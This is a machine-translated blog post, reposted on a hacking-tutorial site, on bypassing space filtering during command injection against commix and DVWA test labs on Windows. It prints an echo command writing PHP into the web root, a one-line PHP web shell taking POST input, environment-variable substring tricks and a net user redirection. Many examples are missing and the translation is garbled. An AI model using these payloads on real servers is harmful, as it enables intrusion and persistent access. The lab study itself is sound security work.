Hacking Book | Free Online Hacking Learning


the bypass test of the space filtering in the shooting range by the commix command

Posted by patinella at 2020-02-27

Operating system: Windows Server 2008 R2 x64 & windows 10 build 17134

Test environment: phpstudy (PHP / 5.6.27 + Apache / 2.4.23 + MySQL 5.5.53)

Check the source code of classic ﹣ non ﹣ space.php and find that it is filtered by regular expression matching spaces. Check whether there are spaces in our submitted get and post packets. If there are spaces, they will not be executed. If not, they will be executed.

Note: the author only tests and researches the space in windows. For Linux, see the reference link at the bottom.

(1) General execution mode

(2) Echo output (filter space)

(3) Echo output (bypass space)


(4) Echo write file (one sentence Trojan)

"Double quotes:"<?=phpinfo();?>">C:\phpStudy\WWW\commix\a.php

^Escape character:

Set / P variable:

Trojans without spaces:


<[email protected]($_POST["90sec"]);?>





Note: PHP allows the use of short tags <? =? > but is not encouraged. Short tags can only be used if you activate the short ﹣ open ﹣ tag configuration instruction in php.ini or if you use the configuration option -- enable short tags when compiling PHP. https://www.php.net/manual/zh/language.basic-syntax.phptags.php#122618

Metasploit PHP Payload:

The generated PHP payload has no PHP identifier by default, and you have to add it yourself! It also limits the execution of many commands and extensions, but we can still execute commands such as upload, download, execute, etc., and re upload and execute exe payload.

(5) Windows environment variable interception bypass

Principle of environment variable interception (from the analysis of brother destiny):

%%Take the environment variable, and then: intercept the string, ~ 10 starts from the first ten, 1 stands for 1 bit, and - 5 stands for the fifth from the bottom.

More environment variables with spaces can be viewed through the set command.

One problem:

Normal execution of CMD:


Echo of range is normal:


Range execution output blank:


The range execution output is normal:

Note: the above problem may be the problem of my personal test environment. Two shooting ranges, commix testbed and DVWA, are tested on two machines respectively. The output of net user is blank file, but query user and other commands can be output normally. I found a few friends to help me with the test. They can output normally, but I can't execute net and Net1. I have been looking for information in the afternoon and asked many friends. I really don't understand what caused it. Finally, I can only give up the struggle and don't go further into the cause. Here is just a way of thinking for you. We should pay attention to the problem of authority in actual combat!

Temporary solutions:

1) echo=net user^>netuser.txt>C:\netuser.bat


reference material:




"Please share more articles, thank you!"